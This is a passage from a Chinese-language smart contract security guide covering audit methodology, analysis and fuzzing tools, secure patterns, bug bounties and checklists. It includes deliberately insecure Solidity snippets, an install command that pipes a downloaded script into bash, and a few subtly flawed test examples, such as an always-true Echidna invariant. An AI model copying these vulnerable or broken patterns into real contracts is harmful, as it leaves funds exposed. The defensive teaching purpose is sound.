ERC4626	收益金库	重入、通胀攻击、舍入方向

// 超大Approval漏洞
contract MaliciousToken {
    mapping(address => mapping(address => uint256)) public allowance;
    function approve(address spender, uint256 amount) external returns (bool) {
        // 漏洞：未限制amount上限，用户误操作批准极大值
        allowance[msg.sender][spender] = amount;
        return true;
    }
}
// 安全做法：限制或要求先置0再设新值（USDT风格）

11.2 NFT 元数据安全

存储方式	去中心化程度	风险
链上存储（base64/dataURI）	高	Gas成本高
IPFS	中	Pin丢失、网关失效
中心化服务器	低	域名过期、运营方篡改
Arweave	高	永久存储，成本高

【提示】 NFT 的价值高度依赖元数据。若元数据存储在中心化服务器，项目方随时可更换图片使 NFT “变质”。审计时应检查 tokenURI 是否指向不可篡改的存储。

11.3 ERC20 反 Token 攻击

// 反ERC20攻击：协议假定为标准ERC20，但恶意代币不触发Transfer事件或返回非bool
contract SafeERC20Wrapper {
    using SafeERC20 for IERC20;
    function safeDeposit(address token, uint256 amount) external {
        // SafeERC20处理：无返回值的代币（USDT）、检查事件、避免假代币
        IERC20(token).safeTransferFrom(msg.sender, address(this), amount);
    }
}

十二、智能合约审计方法论

12.1 审计流程

步骤	内容	输出
1. 理解业务	阅读白皮书、文档	业务逻辑图
2. 分析架构	合约关系、权限模型	架构图
3. 手动审计	逐行审查代码	漏洞清单
4. 自动化扫描	Slither/Mythril	工具报告
5. 形式化验证	Certora/K Framework	数学证明
6. 模糊测试	Echidna/Foundry	边界用例
7. 报告	评级、PoC、修复建议	审计报告

12.2 手动审计技巧

手动审计要点：
  - 存储布局：检查每个状态变量所在slot，代理合约尤其关键
  - 权限检查：每个修改状态的函数是否有正确的onlyRole
  - 外部调用：所有call/delegatecall是否遵循CEI、是否信任
  - 算术运算：是否有溢出、除零、精度损失
  - 事件：关键状态变更是否emit事件
  - 边界条件：数组越界、零值、最大值
  - 升级性：升级函数权限、存储兼容性

12.3 Slither 静态分析

# 安装
pip install slither-analyzer solc-select
solc-select install 0.8.20
solc-select use 0.8.20

# 基本扫描
slither contracts/Vault.sol

# 指定检测器
slither contracts/ --detect reentrancy-eth,arbitrary-send,tx-origin

# 过滤检测器
slither contracts/ --exclude informational,optimization

# 导出JSON报告
slither contracts/ --json report.json

# 自定义检测器（Python）
# 在 detectors/ 下编写继承 Detector 的类
slither contracts/ --detect my-custom-detector

12.4 Mythril 符号执行

# 安装
pip install mythril

# 基本分析
myth analyze contracts/Vault.sol --solc-json solc.json

# 指定执行时间（秒）
myth analyze contracts/Vault.sol --max-depth 50 --execution-time 300

# 链上合约分析
myth analyze --rpc https://eth.llamarpc.com --address 0xContract...

# 输出JSON
myth analyze contracts/Vault.sol -o json > myth_report.json

12.5 Echidna 模糊测试

// Echidna 测试合约
contract TestVault {
    Vault vault;
    constructor() { vault = new Vault(); }

    function echidna_balance_never_negative() public view returns (bool) {
        return address(vault).balance >= 0;  // 不变量
    }
    function echidna_total_supply_matches() public view returns (bool) {
        return vault.totalSupply() == address(vault).balance;
    }
}

# 运行Echidna
echidna-test TestVault.sol --contract TestVault --test-mode property

12.6 Foundry 模糊测试

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "forge-std/Test.sol";

contract VaultFuzzTest is Test {
    Vault vault;
    function setUp() public { vault = new Vault(); }

    // Foundry 自动模糊测试
    function testFuzz_DepositWithdraw(uint256 amount) public {
        amount = bound(amount, 0, 100 ether);
        vault.deposit{value: amount}();
        assertEq(address(vault).balance, amount);
        vault.withdraw();
        assertEq(address(vault).balance, 0);
    }

    // 不变性测试（持续调用）
    function invariant_total_supply_matches_balance() public {
        assertEq(vault.totalSupply(), address(vault).balance);
    }
}

# 运行模糊测试
forge test --match-test testFuzz -vvv
# 运行不变性测试
forge invariant --match-contract VaultFuzzTest
# 生成覆盖率
forge coverage --report lcov

【提示】 工具链应组合使用：Slither 做快速静态扫描（秒级），Mythril 做深度符号执行（分钟级），Foundry/Echidna 做模糊测试发现边界，最后人工复核关键逻辑。没有单一工具能覆盖所有漏洞。

十三、形式化验证

13.1 形式化验证原理

形式化验证通过数学证明验证合约是否满足特定属性（不变量），是比测试更严格的保障。测试只能发现已知输入的问题，形式化验证能覆盖所有可达状态。

核心概念：
  - 状态空间：合约所有可能状态的集合
  - 不变量（Invariant）：所有状态都成立的性质
  - 前置条件/后置条件：函数调用前后应满足的条件
  - 可满足性模理论（SMT）：用求解器自动验证

13.2 Certora Prover

// 规则文件：spec.spec
rule noFundsLoss(method f) {
    uint balanceBefore = totalSupply();
    env e;
    calldata arg;
    f(e, arg);
    uint balanceAfter = totalSupply();
    assert balanceAfter >= balanceBefore || balanceBefore - balanceAfter <= withdrawn,
        "Funds lost without withdrawal";
}

invariant totalSupplyEqualsBalance()
    totalSupply() == address(this).balance;

# 运行Certora（需许可）
certoraRun contracts/Vault.sol --verify Vault:specs/vault.spec \
    --solc solc8.20 --msg "Verify Vault invariants"

13.3 K Framework

# K Framework 智能合约验证
# 安装
curl -s https://kframework.org/install | bash

# 编写K规范
# kevm prove vault-spec.k --backend haskell

13.4 形式化验证 vs 模糊测试

维度	形式化验证	模糊测试
完备性	数学完备	概率覆盖
成本	高	中
速度	慢	快
发现未知漏洞	难（需先写不变量）	可发现意外状态
适用	关键金融逻辑	一般逻辑、边界

【提示】 形式化验证的前提是正确编写不变量。若不变量本身写错，验证通过也不代表安全。建议将形式化验证与模糊测试结合：模糊测试发现未知问题，形式化验证锁定已知不变量。

十四、智能合约安全开发实践

14.1 安全开发生命周期

阶段	活动	产出
设计	威胁建模、架构评审	设计文档、信任边界
开发	遵循安全模式、代码规范	源码
测试	单元测试、模糊测试	测试报告
审计	内审+外审	审计报告
部署	多签部署、时间锁	部署脚本
监控	链上监控、告警	监控面板
响应	漏洞赏金、应急计划	响应预案

14.2 OpenZeppelin 安全库

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/security/Pausable.sol";

contract SecureVault is AccessControl, ReentrancyGuard, Pausable {
    using SafeERC20 for IERC20;
    bytes32 public constant GUARDIAN_ROLE = keccak256("GUARDIAN_ROLE");

    constructor() {
        _grantRole(DEFAULT_ADMIN_ROLE, msg.sender);
        _grantRole(GUARDIAN_ROLE, msg.sender);
    }

    function withdraw(IERC20 token, uint256 amount)
        external
        onlyRole(GUARDIAN_ROLE)  // 角色权限
        nonReentrant             // 重入锁
        whenNotPaused            // 紧急暂停
    {
        token.safeTransfer(msg.sender, amount);  // 安全转账
    }
}

14.3 安全设计模式

模式	原理	应用
Checks-Effects-Interactions	先检查后更新再交互	所有外部调用
Guard Check	前置条件校验	require/assert
State Machine	状态机限制操作顺序	众筹、投票
Rate Limiting	限流防巨量提取	提现、增发
Emergency Stop	紧急暂停	Pausable
Circuit Breaker	价格熔断	预言机异常

14.4 Gas 优化与安全平衡

// 危险：过度优化导致漏洞
contract BadOptimize {
    // 为省Gas省略检查
    function transfer(address to, uint256 amount) external {
        unchecked {
            balances[msg.sender] -= amount;  // 下溢风险
            balances[to] += amount;           // 溢出风险
        }
    }
}

// 安全：保留必要检查
contract GoodOptimize {
    function transfer(address to, uint256 amount) external {
        require(balances[msg.sender] >= amount, "Insufficient");  // 不可省
        balances[msg.sender] -= amount;  // 0.8自动检查
        balances[to] += amount;
    }
}

【提示】 Gas 优化应优先在不影响安全的部分进行：存储打包、使用 calldata 替代 memory、短路求值、缓存状态变量。绝不可为省 Gas 而移除安全检查。安全永远是第一优先级，Gas 优化是第二位的。

十五、漏洞响应与赏金

15.1 漏洞披露流程

步骤	活动	责任方
1. 接收	研究者提交漏洞报告	平台/项目
2. 分类	评估严重度	项目方
3. 修复	修复并测试	开发团队
4. 验证	验证修复有效性	研究者
5. 披露	公开披露（90天内）	项目方
6. 赏金	发放奖励	项目方

15.2 Immunefi 平台

# Immunefi 是区块链领域最大的漏洞赏金平台
# 提交流程：
# 1. 注册账户
# 2. 选择目标项目（如Aave、Compound）
# 3. 阅读项目范围内的资产与合约
# 4. 编写漏洞报告（含PoC、影响、修复建议）
# 5. 提交并等待分类

# 报告必备要素
# - 漏洞标题与严重度评估（CVSS）
# - 受影响合约地址与代码位置
# - 详细攻击步骤（可复现PoC）
# - 资金影响估算
# - 修复建议

15.3 常见赏金金额

严重度	描述	典型赏金（美元）
Critical	直接资金损失、治理劫持	10万 - 1000万
High	条件性资金损失	1万 - 10万
Medium	逻辑缺陷、信息泄露	1千 - 1万
Low	边界问题、Gas浪费	100 - 1000

15.4 历史赏金案例

项目	时间	漏洞	赏金
Aurora	2022	unlimited minting	600万美元
Polygon	2021	双花	200万美元
SushiSwap	2023	RouteProcessor2	100万美元
Compound	2022	Comet	50万美元

15.5 白帽工具集

# 漏洞验证工具
# - Foundry：本地分叉主网测试
forge test --fork-url $RPC_URL

# - Tenderly：交易模拟与调试
# - Hardhat：开发与测试框架
# - Etherscan：合约源码验证与阅读
# - Dedaub：反编译无源码合约
# - eth-call：链上调用模拟

# 应急工具
# - 多签钱包：Gnosis Safe
# - 时间锁：TimelockController
# - 监控：Forta、OpenZeppelin Defender

【提示】 发现漏洞后应负责任披露。直接利用漏洞获利在多数司法管辖区构成犯罪，即便项目方未设赏金。白帽披露不仅合法，还能获得可观赏金。务必保留完整的研究记录与时间戳。

十六、总结与参考资源

16.1 智能合约安全检查清单

检查项	是否完成
所有外部调用遵循CEI模式
所有关键函数有权限检查
使用msg.sender而非tx.origin
算术运算已检查溢出（0.8+或SafeMath）
外部调用返回值已检查
使用SafeERC20包装转账
预言机采用TWAP/Chainlink
关键状态变更emit事件
实现紧急暂停机制
升级函数受多签+时间锁保护
存储布局在升级时保持兼容
部署前完成至少一次独立审计
设置漏洞赏金计划

16.2 漏洞模式速查表

漏洞	一句话识别	关键修复
重入	转账在状态更新前	CEI + nonReentrant
整数溢出	算术无边界检查	0.8+ / SafeMath
访问控制	缺onlyOwner/onlyRole	加修饰器
tx.origin	用tx.origin授权	改用msg.sender
Front-running	依赖交易顺序	Commit-Reveal/滑点保护
时间戳依赖	用block.timestamp做随机	链下随机/Chainlink VRF
Delegatecall	delegatecall到不可信合约	限制目标、存储对齐
自毁	selfdestruct可强制收ETH	不依赖接收检查
未检查返回值	call结果未检查	检查bool返回
预言机操纵	用DEX瞬时价格	TWAP/Chainlink

16.3 审计工具速查表

工具	类型	用途	命令
Slither	静态分析	快速扫描	slither contracts/
Mythril	符号执行	深度分析	myth analyze file.sol
Echidna	模糊测试	属性测试	echidna-test file.sol
Foundry	模糊测试	不变性测试	forge invariant
Manticore	符号执行	状态探索	manticore file.sol
Certora	形式化验证	数学证明	certoraRun file.sol
Securify	静态分析	合规检查	securify file.sol
Solhint	Lint	代码规范	solhint contracts/**/*.sol

16.4 SWC Registry 速查表

SWC	名称	一句话描述
SWC-100	默认可见性	函数缺public/private
SWC-101	整数溢出	算术无边界检查
SWC-105	未保护提款	任何人可提款
SWC-107	重入	外部调用后改状态
SWC-112	Delegatecall不可信	delegatecall到外部
SWC-113	Gas限制DoS	循环耗尽Gas
SWC-115	tx.origin授权	用tx.origin做权限
SWC-116	时间戳依赖	用block.timestamp
SWC-120	弱随机数	链上随机可预测
SWC-131	浮动pragma	未锁定编译器版本

16.5 学习资源

CTF 平台：
  - Ethernaut (OpenZeppelin)：入门级闯关
  - Damn Vulnerable DeFi (DVDef)：DeFi 攻防实战
  - Capture The Ether：合约挑战
  - Paradigm CTF：高难度实战
  - QuillCTF：合约审计训练

书籍：
  - 《Mastering Ethereum》Andreas Antonopoulos
  - 《Security of Smart Contracts》各类白皮书
  - SWC Registry 官方文档
  - OpenZeppelin 合约源码

课程：
  - Ethereum Smart Contract Security (Udemy)
  - Secure Software Development Life Cycle (OWASP)
  - Patrick Collins 的 32 小时 Solidity 课程

实时追踪：
  - Rekt News：DeFi 攻击复盘
  - DeFiYield REKT Database
  - PeckShield、SlowMist、BlockSec 安全报告

16.6 参考资源列表

• Smart Contract Weakness Classification Registry (SWC)
• OWASP Smart Contract Security Verification Standard
• OpenZeppelin Contracts 文档
• ConsenSys Diligence 审计指南
• Trail of Bits 安全审查清单
• Ethereum EIP 提案文档
• Immunefi 漏洞赏金平台
• Chainlink 文档与预言机安全指南

【提示】 区块链安全是持续演进的领域，新的攻击手法（如跨链桥、账户抽象、L2 序列器）不断涌现。保持学习、关注安全公告、复盘历史攻击，是审计员与开发者的必修课。所有漏洞研究必须限定在授权测试与 CTF 环境中，真实环境的任何测试都需获得明确书面授权。

本篇从区块链底层共识到 Solidity 语言、从经典漏洞到 DeFi 与 NFT 安全、从手动审计到形式化验证、从安全开发到漏洞响应，构建了完整的智能合约安全知识体系。安全没有银弹，唯有系统化的方法论、严格的流程与持续的警惕，才能在不断进化的攻防中守护链上资产。